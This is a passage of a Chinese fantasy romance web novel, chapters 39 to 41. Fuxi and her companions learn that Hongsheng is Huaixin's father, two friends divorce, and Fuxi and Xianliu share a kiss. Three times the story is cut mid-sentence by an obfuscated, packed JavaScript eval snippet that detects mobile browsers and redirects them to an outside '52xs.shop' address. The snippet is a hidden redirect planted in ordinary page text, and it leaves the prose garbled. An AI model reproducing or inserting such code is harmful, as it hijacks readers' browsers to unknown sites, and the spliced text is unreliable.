程衣如蒙大赦,哪里还有心情理会献流,忙不迭弓腰道谢,往外寻怀信去了。小侯十一见献流此状,对视一眼,也一溜烟跑了,一来二去,屋子里竟又只剩扶西献流二人。 扶西望着他那双湿漉漉的眼,一时涌上来几分心虚。 “天色已晚,不如你先回去休息,睡一觉,明日就好了。”扶西露出个勉强至极的微笑,朝献流扬了扬下巴。 献流丧眉耷眼,脚下同生了石头一般,半晌也没挪动。 扶西思来想去,这人变成傻子的时候实在是太折磨人了,她计上心头:“那你就先在这里呆着,站也行,躺也行,一切随你。”她快步迈过门槛,“我还有事就先走了你老人家快睡吧。” 话音未落,她人已经跑出了小院,谁想刚舒完一口气,一双黑靴并着两条绿油油的影子便缓缓踱到了她跟前,脚尖相对,一时无言,对面那人还调整了脚尖的角度,与扶西整整齐齐对成一条直线。 扶西缓缓抬头,便看到献流那张时时波澜不惊的脸,他还是那么镇定,那么直接:“为什么躲我?” 扶西直起身子与他对视:“没有哇。” 献流却道:“我没有怪你的意思。” 扶西哦了一声,缓缓从心口升上来的心虚渐渐被理智替代,她忽觉自己其实还是太善良了,此贼偷吃真身,只是让他干点活儿,费点仙力,自己有什么好过意不去的。 想到这里,她腰杆挺得更直了:“本山君大人有大量,你若识趣,即刻回去山洞里打坐入定。”她看了眼那两片大得出奇的绿叶,咳嗽两声,“力争在明日恢复正常,步入修行正轨。” 献流闻此,又低下头来;“可是我好累。” 扶西看看他疲惫的双眼:“累就去休息,跟我说干什么。” 献流微张的嘴唇瞬时顿住,他垂眸,眉间微微蹙起,似乎也在极力思考。半晌,他抬眼看了看扶西,最后汲着鞋子转身往山洞走去,脚步都比方才沉重了几分。 扶西望着他离去的背影,心里头说不上来的奇怪,按理说她此刻应当十分舒心才对,可却隐隐有些不对劲,罢了,多思无益。 “是你——” 熟悉的声音灌入耳中,扶西循着来处望去,正巧看到红生抬着一只手哆哆嗦嗦,说话也语无伦次:“你,啊,怎么会是你......” 他手指的方向,正是怀信所在,似乎是方才这鲛人缺水太久昏过去了,众人正合力将他抬进水缸。 扶西三步并作两步上前,熟门熟路地揪起红生的耳朵:“好你个小红生,什么你呀我呀他呀的,是不是有鬼?” 红生身量尚不及扶西几寸,捂着耳朵叫唤不停:“痛,痛,扶西你快放手吧。” 思及他约莫刚恢复人身,也在凡间遭了场大难,扶西松了手指,侧头扫视起来。 今日红生所穿甚是隆重,常日里所喜的浅红衣裳里三层外三层,坠着打眼的各色首饰,面色红润好似抹了粉,头发也梳得齐整,连发带上头都坠了不少零碎的珠子,此外手上还吊着些丁零当啷的盒子。 果不其然,下一刻他挠了挠脑袋:“扶西,我今日是特地过来道谢的。” 他恢复人身有些日子了,父亲惦记他身体,硬是大好了才肯放人出来,且为防止他又偷偷溜走,还往他身上装了个传音咒。 说也奇怪,父亲今日将他大大打扮一番,夸张地不像话,却说什么也不肯与他一齐来,弄得他莫名其妙,想反抗却又实在不敢。 扶西视线顺着他挤眉弄眼的神情停留在黄澄澄的腰带上,瞬间明白过来,于是乎拔高声调:“你父亲怎么不来?莫不是害怕醉酒丢人,还是说真打算把你送给我了?” 红生腰带抖动一会儿,停了动作。 十一惊呼出声:“红生,你怎么扮成这样,像年画娃娃,还像唱戏的。” “又不是年节,鸡零狗碎的好不清爽,谁教你的。” 小侯说完,红生的脸涨的比猪肝还红,他紧咬牙关,面色尴尬,思忖半晌,脚底飞起,照着旁边的池水就开始“卸妆”,一面抹脸一面忍住眼眶里的泪水。 扶西瞪了小侯一眼,连忙过去掏出帕子沾了水,一把抓过红生的脸重重擦拭起来:“红生你别急,我来帮你,这些脂粉都沾着油,单用手抹不掉的。” 红生眨眼都顿住,这下彻底将眼眶里的泪憋了回去。 十一抬手破坏掉红生腰带里的传音咒,他这才敢大声讲话。 “我,我认错人了......” 扶西活动了一下咔咔作响的指关节:“嗯?” “真认错了。”他指着水桶里昏睡不醒的怀信,“他们鲛人长得太像了,我这才认错的。” “我今日来,也是为了坦白当日的事情。” 红生顿了良久,这才肯吐露真相。 “你知道的,我父亲对我管教极为严格,从小他便告诉我山外世界阴险可怖,加之我自己也胆小怕事,自出生以来就没离开过安阳山。” “还好后头你来了,扶西!”红生似乎有些激动,竟忍不住抓着扶西的衣袖,“有你在,父亲终于没那么多空闲成日里管教我,你还带我偷偷溜去人间,我才知道知道,这世上还有这么多有趣的事情,山外也不是父亲说得那样,大多数人都和善可亲,哪里阴暗了。” 红生手舞足蹈:“扶西,说到这里,我要再谢谢你。” 献流匿在树后,见红生笑得眉眼弯弯,一张极年轻的面庞氤氲着喜色,何须粉黛也光辉灼人。 他默默握紧了拳头,脑海里有两个字在不断地旋转——旧欢,转了两圈又变成另外两个字——新欢。 他无意识冷哼一声,放开抱在胸前的双手,阔步而出,硬生生挤掉红生拽着扶西袖口的手,将整个身体横在两人面前,气势汹汹:“你已经旧了。” 红生不明所以,蹙起眉头望着献流,先是被他头顶两片硕大的叶子惊了惊,又在恍惚中记了起来,忙不迭也去拽了拽献流的衣袖:“我也多谢你救我出来,大叶子!” 献流居高临下地睨了他一眼,毫不留情地扒掉他的手:“你何必再纠缠?” 扶西被他弄得一头雾水,只好从他背后走出来:“红生有要事,你的事先放一放。” 献流面颊紧绷,压低眉眼望了扶西一眼,双唇启阖半晌,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262512|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是慢腾腾挪开了。 扶西惊诧,自己也没做什么过分的事情吧,怎么这人能委屈成这副模样,好像自己做了天大的,多对不起他的事一样。 好奇怪,再看一眼。 与扶西目光相触的一刹那,献流立刻移开目光,神色似有释然,他轻叹一口气,最后回头朝扶西露出一个颇有些苦涩的微笑,好像已经宽宏大量地放下了方才的委屈。 什么表情? 扶西叹口气,拉了他的衣袖,却再不看他脸了:“说,你先说,你先说吧。” 献流面上终于露出真情实感的笑意,他走到红生面前,郑重其事,语重心长道:“你是她的旧欢,如今,我才是她的新欢,我们已经......” 扶西才听了一半便如临大敌地捂住献流的嘴,踮着脚尖将献流往旁边拖:“你们别听他胡说八道,他,他脑子有问题的......” “唔——唔——我们——”献流挣脱半分,“你说了让我先说的。” 扶西合眼,立刻将手捂回去:“不,结束了,你已经说完了。” 拉扯半晌,献流败下阵来,他耷拉着眉眼,立在扶西旁边,用警惕的目光盯着红生。 众人心照不宣地揭过,红生咳嗽两声,继续讲话:“其实,我要说的,正是此事。” 献流眼睛瞪得更大了,红生缩了缩,在扶西对着献流警告,对着他鼓励的眼神中说了下去:“因为扶西总去找父亲喝酒,管我的时间就少了许多,那日我在后山独自玩耍,竟救了个貌美异常的鲛妖,她当时身受重伤,我便将她带回房中,悄悄藏起来,她说自己叫石榴,我每日给她送饭送药,久而久之,我发觉,自己似乎喜欢上了她。” 听到这里,献流紧绷的拳头终于松懈下来,他轻轻呼了一口气,又往扶西旁边挤了点。 红生脸颊浮上红晕,他似乎沉醉在从前的记忆里,弯弯的唇角里含着几分羞涩,“我跟她说了,起初她十分惊讶,后来便问我要不要跟她生一个孩子。” “这样的大事,我,我当时激动坏了,我也想生,可我不会啊。”他嘿嘿笑了两声,“她说要生一个像我这样的,还要教我怎么和她生。”红生羞涩的面庞在此刻耷拉下去,“就是此时,我才亲了亲她的脸,父亲就推门而入,我们被发现了。”他难过地垂下了头,眸色疑惑,“或许是鲛人的魅术,父亲似乎将她认成了你。” 扶西咬牙切齿地揪住红生的衣襟:“那你怎么不解释,害我白白被他误会了这么多年!” 红生委屈巴巴:“我想着你同他关系那么好,他应该不会生气,没想到,他似乎更生气了......” 扶西气鼓鼓地将他放下来:“你自己去解释清楚。” “扶西,我现在不能说,父亲会打死我的。”红生说话带了点哭腔,“自那天后,石榴便失踪了,我想去找她。” “不必找了。”怀信不知何时苏醒的,他语调沉闷,容色忧伤。 红生反应过来:“对对对,方才他躺在这里,侧脸被头发掩了大半,我这才认错。”他凑过去,“对啊,你也是鲛人,你认识石榴吗?为什么说不必?我不要听什么仙妖有别。” 怀信艰难地开口:“她死了。” 红生愣住。 “而且死了很久了,连尸骨都没有了。” “你是她什么人?你胡说!” 怀信叹了口气:“她是我娘。” 红生又愣住,眼泪不受控制地夺眶而出,他思考了许久,上前一把握住怀信的双手:“儿子!为父对不起你!” 怀信:“......” 39. 对!他们要和离! 怀信先是愣了愣,而后极为不屑地一笑,紧咬着牙,从红生的手掌中挣脱出来:“胡说八道,我父母俱是鲛人,你瞎认什么亲?” 他将红生上上下下打量了一遍:“就你这样的,我娘才看不上,而且你所言之事,已近三四百年,我不过一百多岁,哪里对得上。” 红生抿抿唇,回撤一步,小声嘟囔:“这也不好说,听闻鲛人怀孕后想何时生产皆由心所愿,说不准她是后头才生下来的。” 怀信听得清清楚楚,他嗤笑一声,望着面前这株十分单纯的枣树,思忖半晌:“神仙,单纯的亲亲嘴,是生不了孩子的。” 红生往前迈了一步:“谁说我们只亲了个嘴。” 扶西奋力压住想要上扬的嘴角,微微皱起的眉头带着探寻的意味,她戳了戳红生,眸色中带着讶异:“看不出来哇,红生。” 红生晃了晃脑袋:“我只是看着傻了点,但石榴说了,这叫单纯,是世间最美好的品质。” 怀信偏过头,悄声道:“什么单纯,就是傻,好骗罢了。” 程衣此刻默不作声,正仔仔细细地打量二人容貌,片刻过后,她纠结了会儿仍决定开口:“可是你们,长得确有几分相似……” 此言一出,众人都安静下来,扶西窜上去,一把握住红生的脸蛋左右翻看,又滑过去,不顾怀信大睁的双眼,重重扼住他下巴,上下扫视起来。 她得出结论:“像!你们过来看,怀信的鼻子几乎同红生一模一样,这样的鼻子,安阳老头也有一个!” “啊呀,还真是!”十一好奇地出声,“难不成,怀信真是红生的儿子?” 怀信挣开扶西的束缚,涓涓细流涌入身体,他比方才好受多了,眉眼之间不自觉漏出邪气的凌厉:“不可能,我怎么会是这个毛头小子的儿子,娘在时与我说过,我爹早死了!” 献流垂眸,语气平静:“你爹是怎么死的?” “被雷劈死的!” 红生双手一合,啪嗒一声:“我从前就是差点被雷劈死了!” 扶西想起来,连忙附和:“对对对,之前安阳老头说过,红生渡劫不成,反被雷劈,而后有人从海里出来,顺走了他。” 此言一出,众人更是安静如鸡。 怀信亦从方才的全力抗拒变作将信将疑,可他明明记得,母亲说过,父亲被雷劈死,她将他的尸首葬在了旭日初升的海波上。 “不可能。” 扶西偏偏头:“这有什么,我们去安阳山,找老头验血脉。” 红生神色惊恐:“这,难道此刻就要捅破给父亲吗?他,他会作何感想……” 怀信冷笑:“方才你说得情真意切,这会儿又有什么好怕的,我娘惨死,若你当真爱过她,难道不该为她申冤,找到真凶,此刻畏畏缩缩,算什么男子汉大丈夫!” 他力气似乎终于恢复,双手撑着水缸跳跃而出,透明的水迹滑过半空,五彩斑斓的鱼尾化作双腿上流光溢彩的下裳,他一把按住红生肩头:“若我真是你的儿子,我叫你整整一个晚上的爹。” 红生望着他那张与石榴十分相似的面容,霎时下定了决心,抬手冲着天空重重一挥:“我去!我没什么不敢的,就算被父亲打死,也没什么好怕的。” 怀信勾起一边的唇角,暗送白眼。 于是乎,一行人浩浩荡荡往安阳山而去,连变成石桌的好石头也站了起来,跟着去了。 红生来到家门口,近乡情怯,缓了一会儿才轻轻敲门。 安阳老头却没动,贼兮兮的声音从屋子里传出来:“这么快?扶西把你退回来了?” “不是的,父亲,我有事与你说。” “哎呀!”他磨蹭着过来,慢悠悠地打开房门,一边说话,“之前我都答应她把你送过去了,既然你们从前两情相悦……” 他话瞬时咽进肚子里,外头四五双眼睛,黑不溜秋,滴溜溜,圆乎乎,目光全都落在他身上。 他唇上两条细细的胡子抖了抖:“怎么都来了?” 扶西率先开口:“老头,都是误会,你不要一错再错了!” 安阳去望红生。 红生憋了一大口气,终于可以尽情倾泻,他张口,声如洪钟,滔滔不绝,连口水都不带喝,洋洋洒洒,恍若作诗行文,不过一刻,就将来龙去脉全部说完。 安阳老头的银发也渐渐从脑袋上竖起来,一双眼睛里的愤怒缓缓变作火苗,燃成大火,最后在红生收尾时化作灰烬。 他呆愣迟疑地望着面前比他高处近两个头的怀信,负手绕着他行了一圈:“你说,这是你儿子?我孙子?” 红生重重点头。 安阳老头瘪瘪嘴,啪的一下狠狠甩了甩衣袖:“胡说八道!” 扶西忙上来解释一通,又将红生怀信二人全方位无死角地展示给安阳,他拈着胡子,终于松口。 “验!我这就验!” 此前入人间,扶西便是靠着老头的一瓶精血找到红生所在,正是因为他二人血脉相连。 此刻,安阳招呼着红生怀信坐在案前,伸出手指取血。 同时,他也忍不住观察起来。 怀信面色青白,形容精致俊美,双眼看似无神却试试透出丝丝缕缕的邪气,尤其是在抬眼看人的时候。 再瞧瞧自己的傻儿子,面颊红润,眼神清澈单纯,红衣衬他眉眼,只要别一直傻笑,还是看得下去的。 一个死鱼眼,一个没头脑。 怎么可能是…… 就在他已经否定之际,两滴泛着微光的鲜血缓缓升至半空,光芒霎时大作,血滴外包绕的琉璃外壳猛然吸在一处。 安阳目瞪口呆:“真,真的是……” 红生见状终于忍不住嚎啕大哭起来,他埋在怀信胸口泣不成声,还分出空来摸了摸他的头以示慈爱:“儿啊!为父对不起你,对不起你娘!” 怀信面白如纸,目光死死咬住空中两团红光,花费了一刻钟才慢慢接受这个事实。 “爹?” “哎!”红生答得毫不迟疑。 安阳老头咳嗽两声。 怀信便只好冲着他干巴巴道:“爷爷?” “嗯。”安阳并不欣喜,也不生气,实在不知道该用什么样的情绪对待这个突然出现的孙子。 扶西放程衣怀信二人离开扶西山,红生也收拾了行囊。 “我去帮他们,找到害石榴的真凶,她已死了,我只能这样补偿她了。” 安阳老头立在海滩之上,扶西身侧,望着几人远去的背影,夕阳西下,他咳嗽两声,终于跟扶西道了歉。 “对不起,是我错怪你了。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286104|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捋着胡子,“从前说了太多过分的话,我们以后,还当好邻居吧,我再送两座山给你做补偿。” 扶西咧嘴一笑:“好啊,不过我得挑一挑,免得你用小山包来敷衍我。” 安阳胡子一飞:“你,害,果然是你。” * 入夜之时,扶西累极,望到这间大屋子,难免喜上心头,脑壳才沾到枕头,就听到个激动的声音。 “山君糊涂!” 陆眠?见怪不怪了。 “山君糊涂!” 小侯,他来凑什么热闹? “山君糊涂!” 十一,十一怎么能和他们一样说自己糊涂? 她立时坐起来,面对三双气势汹汹的眼睛。 “大晚上不睡觉,你们干什么?”扶西装模作样,露出一副不耐烦的神情,朝十一扬了扬下巴,“十一你说,本山君哪里糊涂了?” 十一方才十分的气势霎时落作两分:“山君,山君做了糊涂媒。” 扶西蹙眉思索:“又是这个?你喜欢小侯,小侯喜欢你,哪里是糊涂媒了!” 十一嘴里仿佛塞满了话,可临到头了竟是一句也吐不出来,她一会儿咬唇,一会儿闭眼,末了便伸手去拽小侯:“你说,你和山君说。” 小侯点点头。 “程娘子寻过我们。”小侯点点头,似乎是梳理了一会儿,“她听山君与我三人说的话,起初以为我和十一夫妻感情生变,陆眠横插一脚。” 陆眠紧张地摆手:“不,程娘子说的不是这个意思。” 小侯哦了一声,也重重点头:“是的,她发现我与十一之间其实并无男女之情,我们只有身为同类的友情,十一说喜欢我,不是那种喜欢,我说喜欢十一,也不是那种喜欢。” 扶西只觉得脑袋晕乎乎的。 “程娘子当时问我,想不想与十一生孩子,我说不知道,她便问我想不想亲十一的嘴,这问题不用思考,我不想亲十一的嘴。” “她也问我了,我也不想亲小侯的嘴。”十一手指们缠绕在一起,似乎是联想到画面,不满撅了撅嘴唇。 扶西脑袋嗡嗡作响,似乎有什么东西要从一片混沌中挣脱而出,可偏偏还差了点火候,无法突破。 “程娘子说了,或许是因为我们从小生活在山中,单纯无知,不谙世事,人世间的男女之情,不是我与十一这样。他们互生的心意是心里只有彼此,他们成亲,生儿育女,白头偕老。可我心里不是只有十一,我还有我的锅碗瓢盆,灶台铲子,这些都比十一重要。” “我也是。”十一咧嘴一笑。 扶西心头的网隐隐有破裂的趋势,她脑袋飞速地运转,什么情啊意啊爱啊恨啊跟蜜蜂似的围着她转。 心头轰隆一声,似有火山喷发一般,她感觉自己好像悟了。 “所以,你们今夜过来,是为了什么?”她跳下床榻,立在圆桌前。 小侯与十一对视一眼,齐刷刷从胸口掏出张内容一模一样的纸,上头赫然三个大字——“和离书。” “我们要和离!”二人异口同声,将纸拍到桌子上,“请山君做个见证。” 陆眠不知从哪里冒出个头,他先是微笑着看了看和离书一眼,又抬起灼热的目光对着扶西,唇角的笑意早已按捺不住:“对!他们要和离!” 40. 你又变得更美了 “你们想好了?”扶西拿过一张扫了眼。 十一与小侯对视一眼,重重点点头。 扶西放回纸张,脑海中难免思绪飘扬,眼看着小侯与十一干脆利落地签字画押,最后丢来两句轻飘飘的多谢山君,屋子里又快速安静下来。 陆眠将要跨出房门,左脚右脚轮了个遍,最后还是扭头折返回来:“山君,之前我没对你说实话。” 扶西还有些恍惚:“什么实话?哪来的之前?” 陆眠垂眸:“其实之前我选上了,是因为记挂着十一才没去,回来之后被山君搅和一通,现在终于明了,我要找十一去了!” “你选上了!”扶西面色惊异,这可是扶西山第一个有出息的孩子,怎么就这样回来了,“陆眠——” 她话说了一半,陆眠已经迫不及待地飞了出去。 扶西只好又躺回榻上,一时间转辗反侧,难以入眠,脑海里“糊涂”两个大字围着她的脑袋转,越转越快,越转越快,最后仿若烟花升空,在胸膛猝然炸开。 她又重新坐起来,她似乎,确实,好像,挺糊涂的。 动作间,房门竟被轻轻推开,昏暗的空间里顿时有淡淡月光倾泻而入,偏门口立着个人,挡住了大半光亮,投下一截拖得老长的影子。 黑影有个小小的脑袋,上头还立着两根指头粗细的须须,几乎拖到地上。 扶西揉了揉眼睛,比方才更清醒了。 蟑?蟑螂?! 好大,这样大的蟑螂,她记得扶西山没有这种东西啊。 扶西将露在外头的手脚缓缓收进锦被,思索了会儿觉得不妥,便又站了起来,用被子裹住自己。 影子动了动,没出声。 扶西嘴唇歪了歪,身子一斜,长腿一翻,便矫健地从窗户滑了出去,她猫着腰,又小心翼翼地朝门口摸。 最近扶西山真是不太平,凡人来,鲛人来,这会儿连蟑螂精都来了,扶西一边挪,一边寻找趁手的物件。 或许是失去修为太久,她竟莫名其妙适应了这种近身肉搏的快感,有时候就是要拳拳到肉,整天光波来光波去腻了,换换口味也未尝不可。 她扛起院子里的水缸,眼看着那只蟑螂精进了屋子,她哼哧哼哧地来到门前,侧身避开,以免自己的影子落进屋里被发现。 那精怪将一盘什么东西放在了桌上,缓步朝扶西床榻而去,还掀开被子从头到尾地找人。 扶西咬牙,趁着他不注意,将身闪进屋内,以极快的速度来到他身后,将手里的水缸重重挥下。 “咚——” “哗啦——” 碎片满地,那人颤抖了两下,直直跌倒在地,蜷缩的手脚还在抖动。 扶西冷哼两声,正打算找献流来给他丢海里去,却听到一声沉闷的呼唤。 “扶,扶西……” 声音入耳,无比熟悉,扶西脸上的笑意僵住,她麻溜地将他翻了个面,献流那双雾蒙蒙的眼睛瞬时跌入扶西眸中,她愣了愣,望着他额角缓缓流下的血迹。 完了,完了。 按理说她下手不算重,怎么会看上去这么虚弱,扶西视线落在他头顶,原来那两片硕大的叶片不知何时变作了两条细细的藤蔓,扶西声音颤抖:“你,你不会死吧?” 他要是死了她的真身怎么办? 献流闻此,模糊的视线看到扶西担忧的面容,冷冽的心头莫名好似出现了一丝裂缝,好像有什么东西在其中挣扎,力量明显,快要破茧而出。 “不,不会死。”他说,“但我感觉,我,要晕了。”话音刚落,他脑袋一偏,果真晕了过去。 扶西用手抬了抬他脑袋上的藤蔓,颇有些不悦地拍了拍:“都怪你,影子里真的一点也看不出来……” 正欲将献流拖上床榻让他休息会儿,扶西手才触到他的身体,竟有金色的粼粼波光泛起,她顿住动作,目光追随着快速变幻的光芒动作,最后停在献流的胸口上。 他胸膛起伏的动作过于剧烈,似乎有什么东西在里头横冲直撞,扶西抬起指尖,迟疑着缓缓触上去。 霎时便有丝丝缕缕的金色流光从心口的位置冲出来,将扶西的手指紧紧缠绕住,力量不大,尽头的光芒好似触手,还轻轻蹭了蹭她手腕,又以极快的速度缩了回去。 莫非是真身? 可感应着不太像啊…… 犹豫之际,耳边忽而传来极大的簌簌风声,一株巨大的桑树从草芽而起,几近透明的树干从献流胸口“破土而出”,肆意地伸展枝条,眨眼的功夫竟长得同房顶一般高,茂盛的枝叶泛着晶莹的光芒,好似衬着一层薄薄的水雾。 扶西有些呆愣地站起来,仰头望着这株陌生又熟悉的桑树。 “怎么,怎么忽然长这么大,这么茂密……”她唇角微微扬起,不知该不该好好笑一场,可又想起作为“沃土”的献流。 他躺在地上,容色平静,并无异常。 扶西深吸一口气,依着从前的习惯抬手施法,努力了半晌,手指头都抽筋了,面前的大树还是岿然不动。 她脚尖用力,一跃而起,轻盈的身体穿过透明的树影,带起一阵如星光的尾流,最后重重坠地,摔了个狗啃泥。 扶西捂着腰回看,难不成这只是个虚影吗? 她又跳过去,岂料这回树影忽而抖了抖枝条,便以极快的速度缩回献流心口,扶西连片叶子都没碰着,就又坠了下去。 好死不死,估摸是她方才太过心急,竟恰好扑到了献流上方,又跌到了他身上,下巴重重砸在他梆硬的胸膛。 扶西龇牙咧嘴地痛呼,只觉得还不如跌在地上。 她扯了扯有些僵硬的腿,缓缓抬起头,发髻似乎蹭到了什么东西,她将头转了个弯,目光霎时同献流那双不知何时睁开的眼睛对了个准。 她一时愣在原地,抿了抿唇。 “我,我……”她莫名语无伦次起来,漂移不定的目光最后找到一个支点——献流唇边有颗米饭。 刚刚怎么没看到? 献流眼神里的迷茫渐渐退去,他望着扶西多少有些直愣愣的眼神,整个人忽而有些呆滞,他意欲开口,唇边却忽然传来一阵冰凉。 他睁大了眼睛。 唇角被不轻不重地揉搓了下,他望着扶西那双几乎可以说是专注的眼睛,她发髻不知何时乱了,几缕逃脱束缚的发丝垂到他颊边,随着扶西动作一下又一下地摩挲着他脸颊。 太痒了。 扶西一双眼睛即便在黑夜里也亮得惊人,她微微眯起双眸:“好了,我帮你……” 献流喉咙发紧,轻声道:“我知道。”而后他伸手揽住扶西的后颈,将她按了下来。 唇上传来冰凉的触感,扶西脑海震动,像是被针扎了般头皮发麻,呼吸难继,她手忙脚乱地想从献流身上爬起来,谁料刚刚摔了一跤的腿有些僵硬,滑了两下又砸了回去。 还是那个梆硬的胸膛。 扶西哪里敢耽搁,手忙脚乱了好一阵,终于从地上站了起来,还好站得高,空气新鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295057|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她觉得自己终于能好好喘气了。 她心胸震荡,觉得有些诡异,不知不觉间竟已抬手触上了自己的唇,方才不过是碰了一下,意外而已,她安慰了自己,激荡的脑海又缓过来大半。 献流不知何时站了起来,神不知鬼不觉地站到了她身后,或许是距离太近,直到一股灼热的呼吸打到扶西耳边,她才反应过来。 “为什么?” 扶西抓狂,那傻子问这个做什么? 她往前走了三四步才敢转过身来,思索了一会儿便抬袖掩住自己的嘴唇,打着哈哈笑道:“什么为什么啊?” 献流又走进一步,偏头盯着她:“为何你可以亲我,我不可以亲你呢?” 扶西飞速运转的大脑无法接收这样的问题,她心里乱作一片,脸颊发热,头脑昏沉,思忖半晌终于胡扯出来:“因为,因为我比较害羞啊。” 话刚说完,她自己都愣了愣。 其实,她大可以胡扯谩骂,把献流赶出去,可不知道为什么,就是特别害怕看到他那个委屈巴巴的模样,总是弄得她手足无措。 思来想去,她仿佛也是自找的。 “是么。”献流垂眸,抬手摩挲了会儿下巴,“好吧。” “对了,我给你煮了粥。”他折身回到桌前,捧来一个碗。 扶西摆手,讪笑:“我不吃淤泥粥。” “这是白粥。”他微微笑着,用勺子舀了点展示给扶西看,“快趁热吃吧,我见你今天什么也没吃。” “这次看着确实还可以,从简单的做起。”扶西去接,“你什么时候才能做满汉全席?” 献流却不放手:“我喂你喝。” 扶西:“啊?” 扶西望着对面那人的跳跃的眸色,一时间竟鬼迷心窍答应下来,清粥入口,味道平淡,滑入腹中时却带着淡淡的暖意。 扶西看着他有些出奇专注的眼神,心头怪异的感觉却是怎么也压不住。 直到忽而有道金光从献流头顶闪现,又以极快的速度游走全身,最后消失殆尽。 他脑袋上的藤蔓也骤然如粉碎的火星,轻轻炸了一下,尽数飘出窗外。 扶西看得出了神。 献流依旧递过来勺子:“怎么不吃了?” “你,你头顶的草,没了。” 献流这才反应过来,一张脸瞬时爬上红晕,他手臂悬在空中,进退两难,说话也变得结巴起来:“那,我,你,吃……” 扶西立刻将碗捧过来,一饮而尽,顺手抄来献流递来的帕子擦了擦嘴角,又一把塞进自己怀里。 她轻轻叹了口气,这会儿献流不说不成体统,她倒是有些想去触柱了。 献流起身,收过碗碟,脸颊忽而被月光照得极亮。 他面庞撞入扶西眸中,眉眼乍看与从前并无不同,可细细看来,精致了许多,竟有些不可同日而语的味道。 高眉深目,眸色含星,挺翘的鼻梁与嘴唇衔接得十分妥帖,由月光轻轻勾勒,更显得他整个人仿若谪仙,一身破布玄衣也挡不住的灵秀俊逸,似集天华地宝。 此刻,他颇有攻击性的眉目微微蹙起,不显凶相,只觉英气逼人。 “怎么了,我脸上有东西吗?”献流抬手擦了擦脸颊,又鬼使神差地摸了摸唇角,该不会还有一粒饭吧。 扶西盯着他,缓缓站起来,发出了此生最真诚的赞美。 “你又变得更美了。” 献流心跳骤止,又立刻更用力,更快速地跳动起来。 41. 情人眼里出西施 献流颇有些手足无措,他快速眨巴着眼睛,慌里慌张地点了点头:“多,多谢。” 说实话,赞美过他的人不少,可从未有人叫他生出如此紧张的情绪,他喉头动了动,面对扶西慢慢弯了弯唇角。 夜色四合,周围寂静得落针可闻,他的声音恍若清泉:“听闻,鲛人的魅术会放大人内心最深处的欲念。” 扶西立在那里,同献流隔着一张桌子遥遥相望,她蜷起放在桌上的手指,脑海中又浮现出那日的尴尬情形。 “其实,其实我是看见了……” 不等她说完,献流便出言打断:“我是想问,会不会是你平日里对红生有些不妥帖的地方,才让安阳误会了。” 扶西松了口气,她还以为是…… “我没有!”她大声澄清,“我几乎是看着红生长大的,顶多揉揉他的脸,刨刨他头发,再带着他到人间溜达溜达,从来没什么出格的举动。” 她蜷起的手指握作拳头,朝桌上不轻不重地击了一下:“都是安阳老头,不知道想些什么。”她从凳子与桌子之间的缝隙挪出来,望着立在门口的献流,“你,你别误会。” 献流的唇微微动了动,舒展的面庞又在一瞬间变作以前波澜不惊的模样,他朝扶西点点头:“嗯。” 扶西稍稍抬了抬上唇,真是,跟他说这句话做什么。 望着献流的背影消失在院子里,她冲到放门口,扶着门框思索,脑子里似乎乱作一团,扶西有些难受地将房门合拢,又即刻跳回床榻上。 用力的眼皮颤抖了半晌,终于还是在半夜缓缓睁开,奇怪,她怎么睡不着了。 耳朵旁边咚咚响,吵得她难以入眠,她抬起手掌堵住耳朵,可没想到那声音越来越大,越来越重。 扶西视线缓缓下移,望向自己的胸口,她以前,心跳的声音,有这么大吗? * 天界。 云层震动,光华无两,宝殿之中,身着白衣的女子缓缓睁开眼睛,她五官气势十足,眼角微微上扬,不说话的时候看着很是威严。 “人都去哪了?”她大马金刀地往坐到长案后方,望着堆积如山的公文,“献流呢?本君出关,为何徒儿们都不来迎接?” 半晌,终于有两个个子矮小的仙童猫着腰打开高大的殿门,踏着小碎步来到天君帝容面前。 “天君息怒,此刻夜深,诸位神君恐在睡梦之中。”他伏着身子,有些颤抖。 帝容摆摆手,飞到他面前,又开天眼以观四方,自言自语道:“怎的提前出关了?” 她嘴角下拉:“倒也无妨,叫献流来见我。”她目光放在重重叠叠的公文上,“本君闭关,你们不会机灵点,把这些东西拿去给献流处理吗?” 半晌没有回应,帝容望着两人哆嗦的手指,几乎埋到地底的头颅,敏锐地察觉到不妥之处。 “他人不在天界吧。” 仙童伏倒在地:“神君失踪日久,音讯全无,我们也不知他去了哪里。” 帝容眉头轻轻皱了皱,抬手稍微算了算:“没死。”她垂眸,指尖光华流转,咒文翻飞,“流落到下界去了……” 咒术已经开启,想必是受了重伤,可四海早已止戈,他能去哪里受伤。 “他失踪前,去了哪里?” 